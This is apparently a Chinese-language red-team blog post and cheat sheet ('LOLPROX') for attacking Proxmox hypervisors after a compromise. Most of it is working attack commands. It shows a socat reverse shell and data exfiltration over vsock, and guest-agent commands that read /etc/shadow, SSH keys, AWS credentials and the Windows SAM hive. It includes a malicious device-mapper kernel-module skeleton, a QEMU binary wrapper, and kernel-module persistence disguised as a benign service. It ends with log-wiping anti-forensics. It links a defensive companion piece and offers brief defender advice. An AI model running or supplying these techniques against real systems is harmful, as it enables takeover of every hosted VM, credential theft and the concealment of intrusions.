Living off the Hypervisor - LOLPROX
Proxmox的核心是一个带有Hypervisor工具的Debian镜像,但其工具集可以被滥用于恶意目的。从通用的Windows二进制文件(LOLBAS)到专门的Hypervisor命令(如LOLESXi),有许多关于“就地取材”的GitHub页面。过去我曾写过关于如何使用Proxmox部署家庭实验室的文章,但本博客的重点将是一份用于枚举Proxmox集群的速查表,并展示一些不太为人所知的工具及其在红队场景中的用途。
从攻击的角度来看,Proxmox独特且有趣之处在于两个世界的融合。它结合了标准的Linux权限提升和持久化技术与Hypervisor特有的功能,而大多数防御者并未监控这些功能。当你攻陷一个Proxmox主机时,意味着你可能拥有它所管理的每一个虚拟机,并且使用传统端点检测目前无法察觉的方式实现。
注意:蓝队!
如果你是防御者,你可能想更好地了解如何防御本文描述的技术。为了避免写成长篇大论,我将其分成了两篇文章,这里是防御篇:防御LOLPROX。
如果你只想要技术细节,懒得阅读这篇博文,请查看"Living Off The Land - Proxmox (LOLPROX)":
LOLPROX | LOLPROX
基本系统详情
在深入攻击技术的具体细节之前,有必要了解你身处Proxmox主机时所面对的环境。与运行专有微内核的ESXi不同,Proxmox运行完整的Debian Linux发行版。这意味着所有标准的Linux枚举和权限提升技术都适用,但你还能访问一套丰富的虚拟化专用工具,从而获得对底层Hypervisor上主机的更广泛访问。
你将交互的关键组件包括:
pve-cluster:在节点间同步配置的集群文件系统
pve-qemu-kvm:实际运行虚拟机的QEMU/KVM Hypervisor
pve-container:LXC容器管理
pve-storage:跨本地、网络和分布式后端存储的管理
corosync:集群通信和仲裁
pmxcfs:挂载在 /etc/pve 的Proxmox集群文件系统
/etc/pve 目录特别有趣,它是一个跨所有集群节点复制的FUSE文件系统。你在此处读取或写入的任何配置都会立即对所有集群节点可见。
一些基本命令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 基本版本和节点信息
pveversion -v
hostname
cat /etc/pve/storage.cfg
cat /etc/pve/.members
# 我属于哪个集群?
pvecm status
cat /etc/pve/corosync.conf
# 快速硬件概览
lscpu
free -h
lsblk
|
主机侦察与枚举
一旦确认你身处Proxmox主机,首要任务是了解可以触及的范围以及可用的主机类型。一个Proxmox节点可能管理数十个虚拟机,而一个集群可能跨越多个具有共享存储的物理主机。
集群架构发现
了解你是在独立节点上还是集群中会从根本上改变攻击面。集群环境意味着你的访问可能延伸到多个物理主机,并且集群文件系统意味着配置更改会自动传播。
1
2
3
4
5
6
7
8
9
10
|
# 我是否在集群中?
pvecm status
pvecm nodes
# 集群节点详情
cat /etc/pve/nodes/*/qemu-server/*.conf 2>/dev/null | head -50
# 存在哪些节点及其IP?
cat /etc/pve/corosync.conf | grep -A2 "nodelist"
awk '/ring0_addr/ {print $2}' /etc/pve/corosync.conf
|
如果主机不是集群的一部分,你会收到类似这样的错误。
虚拟机和容器发现
每个虚拟机和容器都代表一个潜在的跳转目标。更重要的是,如果任何虚拟机上启用了QEMU客户机代理(Guest Agent),你可以直接从主机执行命令,无需任何网络连接。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# 列出集群中的所有虚拟机
qm list
pvesh get /cluster/resources --type vm
# 列出所有容器
pct list
pvesh get /cluster/resources --type container
# 详细的虚拟机配置(查找 agent=1,启用客户机代理)
for vmid in $(qm list | awk 'NR>1 {print $1}'); do
echo "=== VM $vmid ==="
qm config $vmid | grep -E "(name|agent|net|memory|cores)"
done
# 查找启用了客户机代理的虚拟机(你的执行目标)
grep -l "agent.*1" /etc/pve/qemu-server/*.conf
|
家庭实验室中的虚拟机列表:
资源列表。
存储枚举
存储后端告诉你虚拟机磁盘的存放位置以及可能存在的数据外泄路径(如果你是模拟勒索软件,还可以知道哪些可以加密)。Proxmox支持本地存储(LVM, ZFS, 目录)、网络存储(NFS, iSCSI, Ceph)以及各种备份位置。
1
2
3
4
5
6
7
8
9
10
11
12
|
# 存储概览
pvesm status
cat /etc/pve/storage.cfg
# 虚拟机磁盘实际存放在哪里?
lvs 2>/dev/null
zfs list 2>/dev/null
ls -la /var/lib/vz/images/
# 备份位置(潜在的数据宝库)
ls -la /var/lib/vz/dump/
pvesm list local --content backup
|
我的堆栈中一个较小的节点:
用户和权限枚举
Proxmox在Linux之上有自己的认证和权限系统。了解谁有访问权限以及存在哪些令牌有助于持久化和横向移动。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# Proxmox用户及其领域(realms)
cat /etc/pve/user.cfg
pvesh get /access/users
# API令牌(这些是持久凭证)
cat /etc/pve/priv/token.cfg 2>/dev/null
ls -la /etc/pve/priv/
# ACLs - 谁可以做什么?
cat /etc/pve/priv/acl.cfg 2>/dev/null
# 双因素认证配置
cat /etc/pve/priv/tfa.cfg 2>/dev/null
|
vsock (AF_VSOCK) 操作
vsock可能是Proxmox操作人员武器库中最未被充分重视的工具之一。这也是我最近才遇到的一个协议,在所有Hypervisor环境中都是一个未开发的资源。它提供了一种Hypervisor和客户机之间的套接字接口,完全绕过了网络栈。没有IP地址,没有防火墙规则,没有基于网络的检测,只是主机和客户机之间直接的virtio通道。
没有IP地址,没有防火墙规则,没有基于网络的检测
仔细想想,这是一条可以触及原本网络隔离的虚拟机的途径👀。
为什么vsock重要
传统的Hypervisor入侵后利用要么涉及基于网络的跳转(SSH、RDP等),要么使用客户机代理。两者都会留下痕迹:网络连接会显示在网络流日志中,防火墙规则需要允许它们,而EDR产品会根据部署位置监控横向移动模式。
然而,vsock绕过了所有这些。通信通过一个虚拟PCI设备进行,该设备在客户机内部呈现为一个字符设备。对于网络监控工具来说,这种流量根本不存在。它从不会触及任何一方的网络栈,因此查看它的唯一方法是专门监控它。如果没人在听或者在看…你可以随心所欲地"吵闹"。
缺点是,vsock需要:
- 在虚拟机上启用该功能(大多数版本默认不启用)
- 主机和客户机内核模块支持
- 两端都有使用vsock套接字的软件
检查和启用vsock
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# 在Proxmox主机上 - 检查内核支持
lsmod | grep vsock
modprobe vhost_vsock
ls -la /dev/vhost-vsock
# 检查哪些虚拟机启用了vsock
grep -r "args.*vsock" /etc/pve/qemu-server/
# 在虚拟机上启用vsock(分配CID 100)
qm set <vmid> --args '-device vhost-vsock-pci,guest-cid=100'
# 或者直接编辑配置文件
echo "args: -device vhost-vsock-pci,guest-cid=100" >> /etc/pve/qemu-server/<vmid>.conf
# 重启虚拟机以应用
qm stop <vmid> && qm start <vmid>
|
客户机端设置
在Linux客户机内部,需要加载vsock传输模块:
1
2
3
4
5
6
7
8
9
10
11
|
# 加载模块
modprobe vmw_vsock_virtio_transport
# 验证设备存在
ls -la /dev/vsock
# 使其持久化
echo "vmw_vsock_virtio_transport" >> /etc/modules-load.d/vsock.conf
# 检查你的CID(由主机分配)
cat /sys/class/vsock/vsock0/local_cid
|
Windows对于KVM/QEMU没有原生的vsock支持,因此你需要安装virtio-vsock驱动程序:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 下载virtio-win ISO(包含所有virtio驱动程序,包括vsock)
# https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/
# 挂载ISO后,安装vsock驱动程序
pnputil /add-driver D:\viofs\w10\amd64\*.inf /install
# 或者通过设备管理器 - 在系统设备下查找"VirtIO Socket Device"
# 检查VM客户机上是否已加载:
# 查找vsock设备
Get-PnpDevice | Where-Object { $_.FriendlyName -like "*vsock*" -or $_.FriendlyName -like "*VirtIO*Socket*" }
# 检查驱动程序状态
driverquery /v | findstr -i vsock
|
但是,问题来了:即使安装了驱动程序,Windows也没有像Linux那样的原生用户空间工具用于vsock。没有现成的类似socat的支持AF_VSOCK的等效工具。
在支持它时,你没有太多选择:
- 编译自己的工具 - 使用socket API编写一个小的C#/C++/Go/Rust程序
- 使用现有项目 - 我只找到几个,但它们没有积极维护或广泛测试
- 部署支持vsock的植入程序 - 如果你已经在部署某物,可以添加vsock支持以增加乐趣
实用替代方案:通过virtio-serial使用命名管道
如果上述选项在Windows上听起来太麻烦,virtio-serial配合命名管道有更好的支持:
- 在Proxmox主机上 - 为虚拟机添加串口:
1
2
3
|
qm set <vmid> --serial0 socket
# 或者在配置中:
# serial0: socket
|
这会在以下位置创建一个套接字:/var/run/qemu-server/<vmid>.serial0
- 从主机连接:
1
|
socat - UNIX-CONNECT:/var/run/qemu-server/<vmid>.serial0
|
- 在Windows客户机上,它显示为一个COM端口 - 使用标准的Windows工具或PowerShell更容易交互。
通信模式
主机始终是CID 2。客户机在配置vsock时被分配CID(通常从3开始)。
- 主机连接到客户机监听器:
1
2
3
4
5
|
# 客户机运行监听器
socat VSOCK-LISTEN:4444,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
# 主机连接
socat - VSOCK-CONNECT:100:4444
|
- 客户机反向shell到主机:
1
2
3
4
5
|
# 主机监听器
socat VSOCK-LISTEN:5555,fork -
# 客户机回连
socat EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane VSOCK-CONNECT:2:5555
|
- 通过vsock进行数据外泄:
1
2
3
4
5
|
# 主机接收器
socat VSOCK-LISTEN:6666 - > exfil.tar.gz
# 客户机发送数据
tar czf - /etc /home 2>/dev/null | socat - VSOCK-CONNECT:2:6666
|
vsock OPSEC考量
尽管它有所有这些网络静默的好处,但从操作安全角度理解关键考量点非常重要,以下事项会使vsock通信可见:
- 进程列表显示socat或你的自定义二进制文件(所以如果你走这条路,给它起个良性的名字以融入环境!)
- 主机上的
lsof可能显示vsock文件描述符
/proc/<pid>/fd将显示vsock套接字
保持不可见的事项:
- 没有网络流量(tcpdump, Zeek, Suricata 看不到它)
- 没有传统意义上的IP地址或端口
- 没有防火墙日志
- 客户机端的
ss和netstat不会显示连接
QEMU客户机代理滥用 (qm)
QEMU客户机代理是你在Proxmox中的主要无恶意软件执行路径。当虚拟机安装并启用了客户机代理(VM配置中的agent: 1)时,Hypervisor可以执行命令、读取文件和写入文件到客户机内部,所有这些都通过virtio通道完成,而非网络。
为什么客户机代理访问是毁灭性的
从防御者的角度来看,客户机代理命令几乎是不可见的。没有网络连接,没有登录事件,没有由SSH或RDP产生的进程生成。命令作为QEMU客户机代理服务执行(通常在Windows上以SYSTEM身份运行,在Linux上以root身份运行)。
从攻击者的角度来看,这相当于在每一个启用了代理的虚拟机上实现了任意代码执行,并且只使用Proxmox自带的工具。
查找目标
1
2
3
4
5
6
7
8
9
10
11
12
|
# 查找启用了客户机代理的虚拟机
for vmid in $(qm list | awk 'NR>1 {print $1}'); do
if qm config $vmid | grep -q "agent.*1"; then
echo "VM $vmid has guest agent enabled"
qm agent $vmid ping 2>/dev/null && echo " -> Agent responding"
fi
done
# 快速代理健康检查
qm agent <vmid> ping
qm agent <vmid> info
qm guest cmd <vmid> get-osinfo
|
命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# *nix 目标
qm guest exec <vmid> -- /bin/bash -c "id && hostname && cat /etc/passwd"
qm guest exec <vmid> -- /usr/bin/python3 -c "import socket; print(socket.gethostname())"
# Windows 目标
qm guest exec <vmid> -- cmd.exe /c "whoami /all && ipconfig /all"
qm guest exec <vmid> -- powershell.exe -c "Get-Process; Get-NetTCPConnection"
# 以JSON格式捕获输出(便于解析)
qm guest exec <vmid> --output-format=json -- bash -c "cat /etc/shadow"
# 长时间运行的命令
qm guest exec <vmid> --timeout 300 -- bash -c "find / -name '*.pem' 2>/dev/null"
|
文件操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 读取敏感文件 - Linux
qm guest file-read <vmid> /etc/shadow
qm guest file-read <vmid> /root/.ssh/id_rsa
qm guest file-read <vmid> /root/.bash_history
qm guest file-read <vmid> /home/<user>/.aws/credentials
# 读取敏感文件 - Windows
qm guest file-read <vmid> "C:\\Windows\\System32\\config\\SAM"
qm guest file-read <vmid> "C:\\Users\\Administrator\\Desktop\\passwords.txt"
qm guest file-read <vmid> "C:\\Windows\\Panther\\unattend.xml"
# 写入文件(部署工具、配置等)
qm guest file-write <vmid> /tmp/payload.sh '#!/bin/bash\nid > /tmp/pwned'
qm guest exec <vmid> -- chmod +x /tmp/payload.sh
qm guest exec <vmid> -- /tmp/payload.sh
|
跨虚拟机的大规模枚举
1
2
3
4
5
6
7
|
# 枚举所有响应代理的虚拟机
for vmid in $(qm list | awk 'NR>1 {print $1}'); do
if qm agent $vmid ping 2>/dev/null; then
echo "=== VM $vmid ==="
qm guest exec $vmid -- bash -c "hostname; id; cat /etc/passwd | grep -v nologin" 2>/dev/null
fi
done
|
客户机代理 OPSEC
使用客户机代理执行时,有一些关键的攻击指标和注意事项:
- 在Proxmox主机上:Hypervisor上的任务日志
/var/log/pve/tasks/,journalctl 可能显示qm操作
- 在客户机内部:qemu-guest-agent服务日志
你可以对此采取的措施:
- 任务日志可以清除:
rm /var/log/pve/tasks/*
- 命令可以与合法的虚拟机自动化操作混合,查看bash历史记录,看看qm是否经常与ctrl+r在你的终端中使用,并查找qm
- 与VSOCK类似,使用时没有记录网络通信
快照与备份滥用
Proxmox的快照和备份功能专为灾难恢复和迁移设计,但它们为数据提取和操作提供了强大的机会。
用于内存获取的快照
当你使用 --vmstate 创建快照时,你捕获了虚拟机的内存状态。这实际上是一个可以离线分析的内存转储,用于查找凭证、加密密钥和其他敏感数据。
1
2
3
4
5
6
7
8
9
10
11
|
# 列出已有快照
qm listsnapshot <vmid>
# 创建包含内存状态的快照
qm snapshot <vmid> forensic-snap --vmstate --description "maintenance"
# 内存状态与快照一起保存
ls -la /var/lib/vz/images/<vmid>/
# 用 volatility 或 strings 提取和分析
strings /var/lib/vz/images/<vmid>/vm-<vmid>-state-*.raw | grep -i password
|
备份提取与分析
备份包含虚拟机磁盘的完整副本。如果你能访问Proxmox主机,你就拥有了它所创建的每一个备份。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# 获取并定位所有备份
ls -la /var/lib/vz/dump/
pvesm list local --content backup
# 创建目标虚拟机的备份
vzdump <vmid> --storage local --mode snapshot --compress zstd
# 提取VMA备份(Proxmox的本地格式)
vma extract vzdump-qemu-<vmid>-*.vma /tmp/extracted/
# 挂载提取的磁盘
losetup -fP /tmp/extracted/disk-drive-scsi0.raw
mount /dev/loop0p1 /mnt/extracted
# 现在你可以离线访问整个文件系统
cat /mnt/extracted/etc/shadow
ls -la /mnt/extracted/home/
|
无需备份的实时磁盘访问
对于基于LVM的虚拟机,你可以直接挂载磁盘(谨慎使用,这可能会损坏正在运行的虚拟机):
1
2
3
4
5
6
7
8
9
|
# 找到虚拟机的逻辑卷
lvs | grep vm-<vmid>
# 对于已停止的虚拟机,直接挂载
mount /dev/pve/vm-<vmid>-disk-0 /mnt/target
# 对于基于ZFS的虚拟机
zfs list | grep vm-<vmid>
# 挂载zvol或先克隆它
|
设备映射器 (Device-Mapper) 基础I/O拦截
这是我们开始进入ESXi VAIO等价领域的部分。设备映射器是一个Linux内核框架,允许你插入任意的块设备层。在Proxmox的背景下,这意味着你可以将自己定位在虚拟机的磁盘和底层存储之间,拦截每一次读写。
理解攻击面
Proxmox通常使用LVM作为虚拟机存储,逻辑卷类似于 /dev/pve/vm-100-disk-0。QEMU直接打开这些块设备。如果你能插入一个设备映射器层,你就可以观察、修改或重定向所有I/O。
这能够实现:
- 透明数据外泄:将所有写入复制到次要位置
- Hypervisor级别的勒索软件:在数据写入时加密,虚拟机无法察觉 - 防御者需要注意这点!
- 选择性数据操作:修改访问的特定文件
- 凭证收集:监视配置文件、数据库转储等
侦察
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# 检查当前的虚拟机磁盘设置
lvs
ls -la /dev/pve/
# 虚拟机磁盘通常存放在这里
ls -la /dev/pve/vm-*-disk-*
# 查看已存在的设备映射器目标
dmsetup ls
dmsetup table
# 检查是否有虚拟机正在使用设备映射器
lsblk -o NAME,TYPE,SIZE,MOUNTPOINT | grep dm
|
概念性的恶意设备映射器目标
以下是一个创建设备映射器目标以拦截虚拟机磁盘I/O的概念性内核模块。这将需要针对运行中的内核头文件进行编译:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
// 创建设备映射器目标以拦截虚拟机磁盘I/O的内核模块
#include <linux/device-mapper.h>
static int malicious_map(struct dm_target *ti, struct bio *bio)
{
// 拦截写操作
if (bio_data_dir(bio) == WRITE) {
// 访问bio数据
struct bio_vec bvec;
struct bvec_iter iter;
bio_for_each_segment(bvec, bio, iter) {
void *data = kmap(bvec.bv_page) + bvec.bv_offset;
// 外泄、加密、修改...
// send_to_userspace(data, bvec.bv_len);
kunmap(bvec.bv_page);
}
}
// 传递到底层设备
bio_set_dev(bio, ti->private);
submit_bio(bio);
return DM_MAPIO_SUBMITTED;
}
static struct target_type malicious_target = {
.name = "pve-cache", // 无害的名称
.module = THIS_MODULE,
.map = malicious_map,
// ...
};
|
QEMU块过滤器注入
QEMU有自己的块层,支持过滤器和调试钩子。你可以通过虚拟机配置或包装QEMU二进制文件来注入这些。
通过Proxmox虚拟机配置
VM配置中的 --args 参数允许你传递任意的QEMU参数:
1
2
3
4
5
6
7
8
9
10
|
# 为虚拟机添加自定义QEMU参数
qm set <vmid> --args '-blockdev driver=blkdebug,config=/tmp/intercept.conf,node-name=intercept0'
# 配置文件可以指定各种调试/拦截规则
cat > /tmp/intercept.conf << 'EOF'
[inject-error]
event = "read_aio"
errno = "5"
once = "off"
EOF
|
QEMU二进制文件包装
一种更具侵入性但灵活的方法是使用包装器替换QEMU二进制文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
# 用包装器替换QEMU
mv /usr/bin/qemu-system-x86_64 /usr/bin/qemu-system-x86_64.real
cat > /usr/bin/qemu-system-x86_64 << 'EOF'
#!/bin/bash
# 记录所有QEMU调用(虚拟机启动、配置等)
echo "$(date): $@" >> /var/log/.qemu-audit.log
# 从参数中提取虚拟机ID用于针对性攻击
VMID=$(echo "$@" | grep -oP '(?<=-id )\d+')
# 可以在这里注入额外的监控/拦截功能
# 可以修改块设备参数
# 可以添加QMP套接字用于运行时操作
# 传递给真正的QEMU
exec /usr/bin/qemu-system-x86_64.real "$@"
EOF
chmod +x /usr/bin/qemu-system-x86_64
|
这个包装器在虚拟机重启后依然存在,并捕获每一次虚拟机启动,让你对整个虚拟化环境具有可见性。
基于eBPF的I/O拦截
eBPF(扩展的伯克利数据包过滤器)是用于I/O拦截的最隐蔽选项。它允许你将程序附加到内核跟踪点,而无需加载自定义内核模块。这些程序在内核内部的沙盒化虚拟机中运行。
为什么eBPF有吸引力
- 无需编译内核模块
- 比加载的模块更难检测
- 可以附加到数十个不同的钩子点
- 程序为性能而JIT编译
- 合法用途很常见(性能监控、安全工具)
基本块层跟踪
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 快速单行命令,观察来自QEMU进程的所有块I/O
printf("%s: %d bytes to dev %d:%d\n", comm, args->bytes, args->dev >> 20, args->dev & 0xfffff);
}'
# 更详细 - 捕获哪些虚拟机正在执行I/O
bpftrace -e '
printf("[%s] %s %s %d bytes @ sector %lld\n",
strftime("%H:%M:%S", nsecs),
comm,
args->rwbs,
args->bytes,
args->sector);
}'
|
编译的eBPF程序
对于更复杂的拦截,需要编译一个合适的eBPF程序:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
// io_intercept.bpf.c
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(int));
__uint(value_size, sizeof(int));
} events SEC(".maps");
struct io_event {
u32 pid;
u64 sector;
u32 bytes;
char comm[16];
};
{
struct io_event event = {};
event.pid = bpf_get_current_pid_tgid() >> 32;
bpf_get_current_comm(&event.comm, sizeof(event.comm));
// 过滤QEMU进程
if (event.comm[0] == 'q' && event.comm[1] == 'e') {
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
&event, sizeof(event));
}
return 0;
}
char LICENSE[] SEC("license") = "GPL";
|
部署并测试:
1
2
3
4
5
6
7
|
# 编译
clang -O2 -target bpf -c io_intercept.bpf.c -o io_intercept.bpf.o
# 加载
bpftool prog load io_intercept.bpf.o /sys/fs/bpf/io_intercept
# 附加到跟踪点
|
存储后端操作
不同的存储后端有不同的操作机会。Proxmox支持多个后端,每个都有独特的攻击向量。
LVM支持的虚拟机
LVM是大多数Proxmox安装的默认设置:
1
2
3
4
5
6
7
8
9
10
11
12
|
# 列出虚拟机逻辑卷
lvs | grep vm-
# 为离线访问创建快照(非破坏性)
lvcreate -L 10G -s -n snap-vm-100 /dev/pve/vm-100-disk-0
# 挂载快照
mount /dev/pve/snap-vm-100 /mnt/snap
# 访问文件,然后清理
umount /mnt/snap
lvremove /dev/pve/snap-vm-100
|
ZFS支持的虚拟机
ZFS提供强大的快照和克隆功能:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 列出虚拟机的ZFS数据集
zfs list | grep vm-
# 检查是否启用了通道程序(允许在内核中执行Lua)
zpool get feature@channel_programs rpool
# 创建即时快照
zfs snapshot rpool/data/vm-100-disk-0@exfil
# 克隆以进行离线访问
zfs clone rpool/data/vm-100-disk-0@exfil rpool/data/exfil-copy
# 挂载并访问
mount -t zfs rpool/data/exfil-copy /mnt/exfil
|
基于文件的存储(NFS或本地的qcow2/raw)
1
2
3
4
5
6
7
8
9
10
11
|
# 查找虚拟机磁盘镜像
find /var/lib/vz/images -name "*.qcow2" -o -name "*.raw"
# 挂载qcow2镜像(需要qemu-nbd)
modprobe nbd max_part=8
qemu-nbd --connect=/dev/nbd0 /var/lib/vz/images/<vmid>/vm-<vmid>-disk-0.qcow2
mount /dev/nbd0p1 /mnt/qcow
# 别忘了断开连接
umount /mnt/qcow
qemu-nbd --disconnect /dev/nbd0
|
内核模块持久化
这是Proxmox中等价于ESXi中vSphere Installation Bundle (VIB) 持久化的方法。一旦你能加载内核模块,你就完全控制了Hypervisor。
模块加载基础
1
2
3
4
5
6
7
8
9
10
|
# 检查是否强制执行安全启动(在Proxmox上通常没有)
mokutil --sb-state
dmesg | grep -i secure
# 当前已加载的模块
lsmod
# 模块签名强制执行
cat /proc/sys/kernel/modules_disabled
cat /sys/module/module/parameters/sig_enforce
|
持久化方法
- 通过 modules-load.d(最干净):
1
2
3
4
5
6
7
8
|
# 假设你已编译模块并安装到标准路径
cp malicious.ko /lib/modules/$(uname -r)/kernel/drivers/misc/
# 更新模块依赖
depmod -a
# 启动时自动加载
echo "malicious" >> /etc/modules-load.d/pve-extras.conf
|
- 通过 systemd 服务:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
cat > /etc/systemd/system/pve-optimise.service << 'EOF'
[Unit]
Description=PVE Performance Optimisation
After=pve-cluster.service
Before=pve-guests.service
[Service]
Type=oneshot
ExecStart=/sbin/insmod /opt/pve/modules/pve-perf.ko
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable pve-optimise
|
- 通过 rc.local(传统但有效,取决于Proxmox版本):
1
2
3
4
5
6
7
8
9
10
|
# 确保rc-local服务已启用
systemctl enable rc-local
cat >> /etc/rc.local << 'EOF'
#!/bin/bash
insmod /opt/modules/backdoor.ko
exit 0
EOF
chmod +x /etc/rc.local
|
隐藏已加载的模块
一个编写良好的恶意模块可以通过从内核的模块列表中移除自己来隐藏自己,同时保持功能。这是高级Rootkit的领域,超出了本速查表的范围,但请注意,lsmod中没有显示并不意味着系统中不存在。
检测意识
虽然了解所有攻击技术很有用,但同样了解哪些内容会被记录下来,有助于你更谨慎地操作并适当地清理。对于可能没有考虑过Proxmox攻击面的所有防御者,这里提供一些详细信息。
Proxmox日志内容
| 位置 |
内容 |
风险等级 |
/var/log/pve/tasks/ |
所有qm、pct、vzdump操作 |
高 |
/var/log/syslog |
一般系统事件 |
中 |
/var/log/auth.log |
认证事件 |
高 |
/var/log/pve/qemu-server/<vmid>.log |
每个虚拟机的QEMU日志 |
低 |
/var/log/pveproxy/access.log |
Web UI/API访问 |
中 |
留下痕迹的命令
qm guest exec - 记录在任务系统中
vzdump - 记录在任务系统中
qm snapshot - 记录在任务系统中
pvesh API调用 - 记录在pveproxy中
较为安静的命令
qm guest file-read - 最小日志记录
- 通过挂载磁盘直接文件访问 - 无Proxmox日志
- vsock通信 - 无日志记录
- eBPF程序 - 无Proxmox日志
这里是关于检测LOLPROX的提示和更多需要考虑事项的更完整博文。
清理
最后,大家都喜欢一点反取证技巧,所以这里提供一些清理命令供考虑:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# 清除任务日志
rm -rf /var/log/pve/tasks/*
# 截断日志(比删除更不显眼)
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/auth.log
# 编辑特定条目(最精细)
sed -i '/pattern_to_remove/d' /var/log/syslog
# 清除bash历史记录
history -c
rm ~/.bash_history
|
关键要点
- 客户机代理访问是毁灭性的 - 任何带有
agent: 1 的虚拟机,如果攻击者获得了主机的root访问权限,就会完全沦陷。
- vsock绕过了所有网络监控 - 当需要隐身时,将其用于C2;对于触及"隔离"虚拟机非常有用。
- 快照和备份是宝藏 - 具有完整磁盘访问权限的离线分析,非常适合提取NTDS.dit或其他有用的文件。
- 多种I/O拦截选项 - 根据需求选择设备映射器、QEMU钩子、eBPF。
- 标准Linux持久化技术适用 - 但内核模块赋予你Hypervisor级别的控制。
- 日志记录最少 - 大多数客户机代理和vsock活动默认不受监控。
对于防御者: 监控你的任务日志,验证你的QEMU二进制文件,检查异常的内核模块和eBPF程序,并将Hypervisor入侵视为整个环境的沦陷。
对于操作人员: 你不仅仅是控制一个盒子,你是控制了整个虚拟化堆栈。明智地使用这种访问权限,并提前规划你希望用它做什么。